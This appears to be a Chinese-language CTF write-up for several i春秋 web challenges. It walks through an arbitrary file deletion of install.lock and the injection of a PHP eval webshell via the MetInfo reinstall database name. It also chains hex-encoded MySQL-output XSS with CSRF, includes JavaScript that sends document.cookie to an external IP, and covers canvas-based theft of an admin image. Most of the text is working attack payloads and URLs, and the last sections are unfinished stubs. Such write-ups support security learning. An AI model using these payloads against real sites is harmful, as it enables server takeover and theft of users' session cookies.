pentest
御剑扫描
经过目录扫描,发现file/file.php
根据网页最后提示:
1 | DELETE FILE |
可以猜测存在任意文件删除漏洞。
首先我们删除install.lock
1 | http://c2a2868220484acaae0b962988dbecbbd872061666de4bc6.game.ichunqiu.com/file/file.php?file=...//config/install.lock |
重装metinfo,重装的时候数据库名填写
1 | met#*/@eval($_GET[1]);/* |
数据库密码为root
执行shell即可
1 | http://c2a2868220484acaae0b962988dbecbbd872061666de4bc6.game.ichunqiu.com/config/config_db.php?1=system(%27ls%27); |
mysqlonline
首先通过mysql查询,经过hex编码在输出,可以造成xss。
1 | select 0x3c7363726970743e616c6572742831293c2f7363726970743e |
结合CSRF即可打后台:
1 | <html> |
1 | 0x30783c736372697074207372633d687474703a2f2f69702f7873732f312e6a733e3c2f7363726970743e |
js的内容:
1 | self.location = 'http://123.207.90.143/x.php?v=aaa'+btoa(document.cookie)+'aaa'; |
修改CSRF payload:
1 | <html> |
通过以上操作,可以发现后台有admin_zzzz666.php
页面
但是admin_zzzz666.php并无flag,只有./static/img/iamsecret_555.jpg
修改payload,也就是vps上的js文件,利用canvas获取图片:
1 | var love={ajax:function(){var a;try{a=new XMLHttpRequest()}catch(e){try{a=new ActiveXObject("Msxml2.XMLHTTP")}catch(e){try{a=new ActiveXObject("Microsoft.XMLHTTP")}catch(e){return false}}}return a},req:function(b,c,d,e){d=(d||"").toUpperCase();d=d||"GET";c=c||"";if(b){var a=this.ajax();a.open(d,b,true);if(d=="POST"){a.setRequestHeader("Content-type","application/x-www-form-urlencoded")}a.onreadystatechange=function(){if(a.readyState==4){if(e){e(a)}}};if((typeof c)=="object"){var f=[];for(var i in c){f.push(i+"="+encodeURIComponent(c[i]))}a.send(f.join("&"))}else{a.send(c||null)}}},get:function(a,b){this.req(a,"","GET",b)},post:function(a,b,c){this.req(a,b,"POST",c)}}; |
vps上xss.php:
1 | <?php |
最后会获取到图片,当然这个过程中+会被转换为空格,所以后面还要转换回来。
Dedefun
1 | 参考网址: |
主要用来找后台目录
A simple CMS
利用缓存getshell
慢慢分析吧。挖坑